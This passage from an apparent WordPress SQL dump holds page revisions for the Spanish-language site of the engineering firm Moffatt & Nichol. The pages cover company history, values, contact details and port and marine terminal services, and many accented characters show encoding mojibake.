proporcionÃ³ el diseÃ±o de ingenierÃa estructural y costera, ademÃ¡s de la construcciÃ³n <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"energía\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy/energy-two.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Terminal de GNL Kitimat</strong></div>\r\n                <div class=\"project_right\">Moffatt &amp; Nichol completÃ³ la selecciÃ³n del lugar, las evaluaciones de navegaciÃ³n, el apoyo para la aplicaciÃ³n de los reglamentos, el diseÃ±o preliminar, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/energy/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Inspección y rehabilitación\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-four.jpg\" alt=\"\" width=\"588\" height=\"231\" /></div>\r\n          <div class=\"photo-meta-data\">\r\n            <div class=\"project_title\">\r\n              <div class=\"project_left\"><strong class=\"green\">RehabilitaciÃ³n del antiguo muelle 11A de la Marina</strong></div>\r\n              <div class=\"project_right\">Moffatt &amp; Nichol colaborÃ³ con el Puerto unificado de San Diego en la evaluaciÃ³n del antiguo y estratÃ©gicamente localizado muelle 11A de la Marina en San Diego <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/\">Leer mÃ¡s</a></span></div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n      </div>\r\n    </div>\r\n  </div>\r\n</div>','Inicio','','inherit','open','open','','19-revision-2','','','2012-05-29 08:29:17','2012-05-29 08:29:17','',19,'http://moffattnichol.com/spanish/19-revision-2/',0,'revision','',0),(2419,1,'2012-06-13 09:07:01','2012-06-13 09:07:01','<div class=\"content_faq\">\r\n<div class=\"new-about-blackbox\"><a href=\"#\"><img class=\"fl\" title=\"John Moffatt\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/moffat.jpg\" alt=\"\" width=\"169\" height=\"205\" border=\"0\" /></a><a href=\"#\"><img class=\"fl\" title=\"Frank Nichol\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/nichol.jpg\" alt=\"\" width=\"167\" height=\"205\" border=\"0\" /></a> <a href=\"#\"><img class=\"fl\" title=\"Los directores fundadores\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/principles.jpg\" alt=\"\" width=\"240\" height=\"205\" border=\"0\" /></a></div>\r\n<span class=\"photo-title \">John Moffatt</span><span class=\"photo-title \">Frank Nichol</span><span class=\"photo-title-principal \">Directores fundadores</span>\r\n&nbsp; &nbsp;\r\n<div class=\"about-us-left\">\r\n<h3>acerca de moffatt &amp; nichol</h3> En 1945, Frank Nichol y John Moffatt formaron una sociedad sobre la tabla de cocina de Nichol en Long Beach, California. Como gerentes de proyecto para importantes instalaciones navales del sur de California durante la Segunda Guerra Mundial, habÃan establecido una reputaciÃ³n como ingenieros creativos que entregaban diseños factibles de construirse. Durante sus distinguidas carreras, buscaron mejorar la calidad de la ingenierÃa de frentes costeros, consolidando una firma que irÃa mucho mÃ¡s allÃ¡ de la costa.\r\n\r\nHoy, la firma tiene su sede principal en Long Beach, California y funciona a lo largo y ancho de NorteamÃ©rica, Europa, AmÃ©rica Latina y la Cuenca del PacÃfico; la especialidad de Moffatt &amp; Nichol se ha expandido para dar apoyo a las mayores demandas de la industria del movimiento de mercancÃas a nivel mundial. Hoy en dÃa, con una cartera de mÃ¡s de 7.000 proyectos, la firma proporciona a clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en un sello distintivo en la industria en seis Ã¡reas principales: puertos; recursos costeros, medioambientales e hÃdricos; frentes de mar urbanos y puertos deportivos; transporte, puentes y ferrocarriles; inspecciÃ³n y rehabilitaciÃ³n; y energÃa. Estas Ã¡reas de especializaciÃ³n son complementadas por un grupo asesor comercial interno con analistas marÃtimos y de logÃstica que se especializan en la adquisiciÃ³n y fusiÃ³n de activos de infraestructura marÃtima, sistemas de transporte intermodal y pronÃ³sticos de ingresos asociados con el movimiento de carga.\r\n\r\nNuestro personal profesional y tÃ©cnico de calidad mundial ofrece a los clientes una visiÃ³n integral del proyecto, con prÃ¡cticas esenciales que reflejan la correlaciÃ³n Ãºnica entre el lugar y el proyecto, proporcionando una amplia perspectiva desde el planeamiento al diseño y hasta la terminaciÃ³n del proyecto.\r\n\r\n<br />\r\n\r\n<h3>nuestra misiÃ³n</h3> Ofrecemos soluciones que son innovadoras, prÃ¡cticas, rentables y eficientes, pero nos distinguimos de la competencia con dÃ©cadas de imaginaciÃ³n y un nivel de experiencia y calidad que no tiene igual. \r\n\r\n<br />\r\n\r\n<h3>nuestra visiÃ³n</h3> En Moffatt & Nichol, la creatividad es nuestro negocio, la satisfacciÃ³n del cliente nuestra prioridad, y el servicio que proporcionamos en seis Ã¡reas principales de la prÃ¡ctica es lo que nos motiva para ser los mejores en lo que hacemos. Seguimos comprometidos a proporcionar soluciones innovadoras y a estar a la vanguardia de la industria en tecnologÃa. Nuestra experiencia incomparable se basa en décadas de excelencia técnica y creatividad, y nuestro enfoque inquebrantable se refleja en nuestros éxitos.\r\n\r\n<br />\r\n\r\n<h3>nuestros valores</h3> Nuestros valores son la base de nuestra cultura y reputaciÃ³n, gobiernan nuestras acciones y refuerzan las convicciones fundamentales que sostienen a Moffatt &amp; Nichol.\r\n<ul>\r\n	<li>La integridad es el valor supremo. Ser justos, honestos y francos con todos.</li>\r\n	<li>Mantener una fuerte tradiciÃ³n de conducta Ã©tica como la base de nuestro negocio.</li>\r\n	<li>JamÃ¡s hay que basarse en éxitos pasados. Mejorar constantemente nuestras habilidades y métodos.</li>\r\n	<li>Rendir mÃ¡s de lo esperado en las tareas del proyecto, al mismo tiempo que se entiende la importante diferencia entre excelencia y perfecciÃ³n.</li>\r\n	<li>Asegurar nuestro futuro mediante la superaciÃ³n constante de las expectativas de nuestros clientes.</li>\r\n	<li>Respetar a nuestros competidores.</li>\r\n	<li>Compartir nuestras ganancias con los empleados.</li>\r\n	<li>Mantener una meritocracia en donde el trabajo duro, los sacrificios y los logros de los empleados son recompensados.</li>\r\n	<li>Ser buenos ciudadanos corporativos dentro de nuestras comunidades.</li>\r\n	<li>Valorar la diversidad de pensamientos y culturas.</li>\r\n</ul>\r\n</div>\r\n<div class=\"about-us-right\">\r\n<h3>certificaciones</h3>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol mantiene varias certificaciones profesionales. Nuestros profesionales son colegiados y certificados en varias especialidades, que pueden ser proporcionadas si son necesarias. Si desea mÃ¡s informaciÃ³n, pÃ³ngase en contacto con <a href=\"mailto:info@moffattnichol.com\">info@moffattnichol.com</a></p>\r\n\r\n<div class=\"certi-images\"><img title=\"Certificaciones\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/iso-certification.jpg\" alt=\"Certificaciones\" /></div>\r\n<div class=\"about-text-rightnew\">Nota: Esto es solamente para la oficina de Londres.</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Acerca de nosotros','','inherit','open','open','','295-revision-5','','','2012-06-13 09:07:01','2012-06-13 09:07:01','',295,'http://moffattnichol.com/spanish/295-revision-5/',0,'revision','',0),(2420,1,'2012-05-30 08:10:04','2012-05-30 08:10:04','<div class=\"content_faq\">\r\n<div class=\"contact-left\">\r\n            <h1>contÃ¡ctenos</h1>\r\n            Si desea informaciÃ³n sobre nuestros mercados y Ã¡reas de especializaciÃ³n, complete el formulario y un representante de Moffatt & Nichol se pondrÃ¡ en contacto con usted a la brevedad. \r\n\r\n            TambiÃ©n puede visitar <a href=\"http://moffattnichol.com/spanish/our-offices/\" title=\"nuestras oficinas\">nuestras oficinas</a> para ponerse en contacto con alguien en su Ã¡rea.\r\n            \r\n            Puede comunicarse con nuestro grupo de desarrollo de negocios escribiendo a <a href=\"mailto:inquiry@moffattnichol.com\">inquiry@moffattnichol.com</a> o llamando al (562) 590-6500 / (540)-662-6623.\r\n            <div class=\"contact-connectlink\">\r\n              ConÃ©ctese con nosotros:\r\n              <a href=\"http://twitter.com/moffattnichol/\" target=\"_blank\" title=\"Twitter\">Twitter </a>| <a href=\"http://www.facebook.com/moffattnichol\" target=\"_blank\" title=\"Facebook\">Facebook </a>| <a href=\"http://www.linkedin.com/company/moffatt-&-nichol\" target=\"_blank\" title=\"Linked in\">Linked.in </a></div>\r\n\r\n<br />\r\n\r\n<h3>empleo</h3> El Ã©xito de nuestra firma se debe en gran parte al conocimiento, experiencia y compromiso de nuestro variado equipo de profesionales. Ãšnase a nosotros y disfrute de una gratificante carrera profesional con Moffatt &amp; Nichol. Para ver las oportunidades de desarrollo profesional, visite nuestra <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\" title=\"pÃ¡gina de empleos\">pÃ¡gina de empleos</a>.\r\n\r\n<br />\r\n\r\n<h3>participaciÃ³n de pequeÃ±as empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeÃ±as compaÃ±Ãas calificadas para complementar nuestro conocimiento tÃ©cnico interno. Si desea conocer mÃ¡s sobre nuestras oportunidades para pequeÃ±as empresas, visite nuestra <a href=\"http://moffattnichol.com/spanish/small-business-outreach/\" title=\"pÃ¡gina de participaciÃ³n de pequeÃ±as empresas\">pÃ¡gina de participaciÃ³n de pequeÃ±as empresas</a>.\r\n </div>\r\n\r\n<div class=\"partnership_right\">\r\n<h4>formulario de contacto</h4>\r\n<div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"2380\" title=\"Contact form 1\"]</span>\r\n            </div>\r\n<div class=\"clear\"></div>\r\n<div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','ContÃ¡ctenos','','inherit','open','open','','16-revision-6','','','2012-05-30 08:10:04','2012-05-30 08:10:04','',16,'http://moffattnichol.com/spanish/16-revision-6/',0,'revision','',0),(2421,1,'2012-06-13 09:16:25','2012-06-13 09:16:25','<div class=\"content_faq\">\r\n<div class=\"contact-left\">\r\n            <h1>contÃ¡ctenos</h1>\r\n            Si desea informaciÃ³n sobre nuestros mercados y Ã¡reas de especializaciÃ³n, complete el formulario y un representante de Moffatt & Nichol se pondrÃ¡ en contacto con usted a la brevedad. \r\n\r\n            También puede visitar <a href=\"http://moffattnichol.com/spanish/our-offices/\" title=\"nuestras oficinas\">nuestras oficinas</a> para ponerse en contacto con alguien en su Ã¡rea.\r\n            \r\n            Puede comunicarse con nuestro grupo de desarrollo de negocios escribiendo a <a href=\"mailto:inquiry@moffattnichol.com\">inquiry@moffattnichol.com</a> o llamando al (562) 590-6500 / (540)-662-6623.\r\n            <div class=\"contact-connectlink\">\r\n              Conéctese con nosotros:\r\n              <a href=\"http://twitter.com/moffattnichol/\" target=\"_blank\" title=\"Twitter\">Twitter </a>| <a href=\"http://www.facebook.com/moffattnichol\" target=\"_blank\" title=\"Facebook\">Facebook </a>| <a href=\"http://www.linkedin.com/company/moffatt-&-nichol\" target=\"_blank\" title=\"Linked in\">Linked.in </a></div>\r\n\r\n<br />\r\n\r\n<h3>empleo</h3> El éxito de nuestra firma se debe en gran parte al conocimiento, experiencia y compromiso de nuestro variado equipo de profesionales. Ãšnase a nosotros y disfrute de una gratificante carrera profesional con Moffatt &amp; Nichol. Para ver las oportunidades de desarrollo profesional, visite nuestra <a href=\"http://tbe.taleo.net/NA8/ats/careers/jobSearch.jsp?org=MOFFATTNICHOL&cws=1\" title=\"pÃ¡gina de empleos\">pÃ¡gina de empleos</a>.\r\n\r\n<br />\r\n\r\n<h3>participaciÃ³n de pequeÃ±as empresas</h3> Moffatt & Nichol se asocia habitualmente con pequeÃ±as compaÃ±Ãas calificadas para complementar nuestro conocimiento técnico interno. Si desea conocer mÃ¡s sobre nuestras oportunidades para pequeÃ±as empresas, visite nuestra <a href=\"http://moffattnichol.com/spanish/small-business-outreach/\" title=\"pÃ¡gina de participaciÃ³n de pequeÃ±as empresas\">pÃ¡gina de participaciÃ³n de pequeÃ±as empresas</a>.\r\n </div>\r\n\r\n<div class=\"partnership_right\">\r\n<h4>formulario de contacto</h4>\r\n<div class=\"txt_boxbg\">\r\n            <span>[contact-form-7 id=\"2380\" title=\"Contact form 1\"]</span>\r\n            </div>\r\n<div class=\"clear\"></div>\r\n<div class=\"clear\"></div>\r\n</div>\r\n</div>\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','ContÃ¡ctenos','','inherit','open','open','','16-revision-7','','','2012-06-13 09:16:25','2012-06-13 09:16:25','',16,'http://moffattnichol.com/spanish/16-revision-7/',0,'revision','',0),(2422,1,'2012-05-17 11:32:07','2012-05-17 11:32:07','<div class=\"content_faq\">\r\n<div class=\"banner-space\">\r\n       [anything_slides cat=ports-harbors-marine-terminals width=588 height=300  delay=5000 resume=15000 animation=500 order=ASC orderby=menu_order theme=construction]\r\n        </div>\r\n       <div class=\"ports-left\">\r\n            <h3>puertos y terminales marÃtimas</h3> Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. Somos reconocidos internacionalmente por proporcionar soluciones innovadoras a la industria portuaria y marÃtima. Participamos en la llegada de la contenedorizaciÃ³n y tenemos expertos tÃ©cnicos que conocen profundamente las complejas tendencias de hoy del movimiento de mercancÃas y las regulaciones ambientales. Ofrecemos capacidades internas integradas, desde el anÃ¡lisis del concepto y el estudio de factibilidad hasta el planeamiento, el diseÃ±o y la construcciÃ³n. Moffatt & Nichol puede dar soporte, prÃ¡cticamente, a cualquier tarea portuaria, marÃtima o de transporte de carga desde sus oficinas y centros ubicados en NorteamÃ©rica, Europa y AmÃ©rica Latina.\r\n   <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/ports%20and%20harbors%20services/\">Examinar los servicios portuarios y de terminales marÃtimas >></a></div>        \r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n             <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE PUERTOS Y TERMINALES MARÃTIMAS</strong><br />\r\n                Moffatt & Nichol es una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo y ha jugado un papel importante en la evoluciÃ³n del puerto moderno.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-and-marine-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUTOMATIZACIÃ“N PORTUARIA</strong><br />\r\n                Con dÃ©cadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marÃtimas de todo el mundo, Moffatt & Nichol es reconocido como un lÃder e innovador en el planeamiento y el diseÃ±o  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SEGURIDAD PORTUARIA</strong><br />\r\n               Con mÃ¡s de 60 aÃ±os de experiencia, Moffatt & Nichol es un lÃder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marÃtima. De acuerdo con iniciativas de Seguridad Nacional &nbsp;\r\n </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES GLOBALES</strong><br />\r\n              Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/global-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n        </div>\r\n        \r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE INSTALACIONES DE MANIPULACIÃ“N DE GRANELES</strong><br />\r\n                Moffatt & Nichol, una de las principales firmas de planeamiento e ingenierÃa marÃtimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseÃ±o para terminales e instalaciones de manipulaciÃ³n de materiales a granel.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-facilities-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div> \r\n              <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES FLUVIALES Y DE MANIPULACIÃ“N DE GRANELES </strong><br />\r\n                Los sistemas fluviales de Estados Unidos conectan el centro del paÃs con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos de nuestra naciÃ³n,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\"  target=\"_blank\" title=\"Descargar\">Descargar</a></span></div> \r\n        </div>\r\n          </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>  ','Puertos y terminales marÃtimas','','inherit','open','open','','48-revision-5','','','2012-05-17 11:32:07','2012-05-17 11:32:07','',48,'http://moffattnichol.com/spanish/48-revision-5/',0,'revision','',0),(2423,1,'2012-06-13 09:21:46','2012-06-13 09:21:46','<div class=\"content_faq\">\r\n<div class=\"banner-space\">\r\n       [anything_slides cat=ports-harbors-marine-terminals width=588 height=300  delay=5000 resume=15000 animation=500 order=ASC orderby=menu_order theme=construction]\r\n        </div>\r\n       <div class=\"ports-left\">\r\n            <h3>puertos y terminales marÃtimas</h3> Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. Somos reconocidos internacionalmente por proporcionar soluciones innovadoras a la industria portuaria y marÃtima. Participamos en la llegada de la contenedorizaciÃ³n y tenemos expertos técnicos que conocen profundamente las complejas tendencias de hoy del movimiento de mercancÃas y las regulaciones ambientales. Ofrecemos capacidades internas integradas, desde el anÃ¡lisis del concepto y el estudio de factibilidad hasta el planeamiento, el diseño y la construcciÃ³n. Moffatt & Nichol puede dar soporte, prÃ¡cticamente, a cualquier tarea portuaria, marÃtima o de transporte de carga desde sus oficinas y centros ubicados en Norteamérica, Europa y América Latina.\r\n   <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/ports%20and%20harbors%20services/\">Examinar los servicios portuarios y de terminales marÃtimas >></a></div>        \r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n             <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE PUERTOS Y TERMINALES MARÃTIMAS</strong><br />\r\n                Moffatt & Nichol es una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos del mundo y ha jugado un papel importante en la evoluciÃ³n del puerto moderno.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-and-marine-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUTOMATIZACIÃ“N PORTUARIA</strong><br />\r\n                Con décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marÃtimas de todo el mundo, Moffatt & Nichol es reconocido como un lÃder e innovador en el planeamiento y el diseño  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SEGURIDAD PORTUARIA</strong><br />\r\n               Con mÃ¡s de 60 años de experiencia, Moffatt & Nichol es un lÃder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marÃtima. De acuerdo con iniciativas de Seguridad Nacional &nbsp;\r\n </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES GLOBALES</strong><br />\r\n              Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan  </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/global-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n        </div>\r\n        \r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE INSTALACIONES DE MANIPULACIÃ“N DE GRANELES</strong><br />\r\n                Moffatt & Nichol, una de las principales firmas de planeamiento e ingenierÃa marÃtimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulaciÃ³n de materiales a granel.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-facilities-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span></div> \r\n              <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES FLUVIALES Y DE MANIPULACIÃ“N DE GRANELES </strong><br />\r\n                Los sistemas fluviales de Estados Unidos conectan el centro del paÃs con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento y la ingenierÃa marÃtimos de nuestra naciÃ³n,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\"  target=\"_blank\" title=\"Descargar\">Descargar</a></span></div> \r\n        </div>\r\n          </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>  ','Puertos y terminales marÃtimas','','inherit','open','open','','48-revision-6','','','2012-06-13 09:21:46','2012-06-13 09:21:46','',48,'http://moffattnichol.com/spanish/48-revision-6/',0,'revision','',0),(2424,1,'2011-10-25 06:31:32','2011-10-25 06:31:32','<div class=\"content_faq\">\n  <h3>servicios portuarios</h3>\n  <div class=\"global-services_one\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/global.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"1\">servicios consultivos comerciales globales</h1>\nLos servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las Ã¡reas de anÃ¡lisis de carga de contenedores y planeamiento econÃ³mico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte y a inversionistas privados y pÃºblicos.\n\nNuestro grupo abarca una combinaciÃ³n de especialistas en economÃa, logÃstica, finanzas, gestiÃ³n y operaciones, con experiencia profesional en una organizaciÃ³n novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratÃ©gico hasta la creaciÃ³n de un proyecto factible que pueda ser diseÃ±ado, construido y puesto en funcionamiento.\n\nÃšnica en el mercado, la experiencia profesional de Moffatt & Nichol en el anÃ¡lisis y pronÃ³stico de los mercados de carga de contenedores, logÃstica de transporte y estrategias de inversiÃ³n, es complementada por las prÃ¡cticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribuciÃ³n logÃstica. Moffatt & Nichol ha proporcionado la debida diligencia comercial para muchas transacciones de infraestructura 